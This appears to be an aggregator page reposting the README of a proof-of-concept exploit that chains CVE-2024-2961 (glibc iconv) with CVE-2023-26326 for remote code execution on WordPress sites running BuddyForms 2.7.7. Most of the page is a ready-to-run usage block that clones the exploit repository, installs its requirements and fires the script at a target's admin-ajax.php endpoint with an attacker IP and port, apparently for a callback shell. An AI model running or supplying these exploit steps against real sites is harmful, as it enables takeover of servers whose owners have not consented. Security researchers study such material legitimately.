CVE-2024-2961 PoC — GNU C Library 安全漏洞

Description

CVE-2024-2961 Cnext RCE Exploit with Buddyforms 2.7.7

介绍

# Buddyforms 2.7.7 CNEXT RCE 
Abusing CVE-2024-2961 and CVE-2023–26326 to RCE 
# Usage
```code
git-clone https://github.com/suce0155/CVE-2024-2961_buddyforms_2.7.7
pip install -r requirements.txt
python3 buddyforms_2.7.7_cnext_exploit.py http://site/wp-admin/admin-ajax.php {ip} {port}
```
# Analysis and Technical Details

Check out my [**blog post**](https://medium.com/@suce0155/cve-2024-2961-buddyforms-2-7-7-iconv-lfi-to-rce-ee6409ccf9f9)

# POC

![Alt Text](https://github.com/suce0155/CVE-2024-2961_buddyforms_2.7.7/blob/main/poc.gif)

文件快照

备注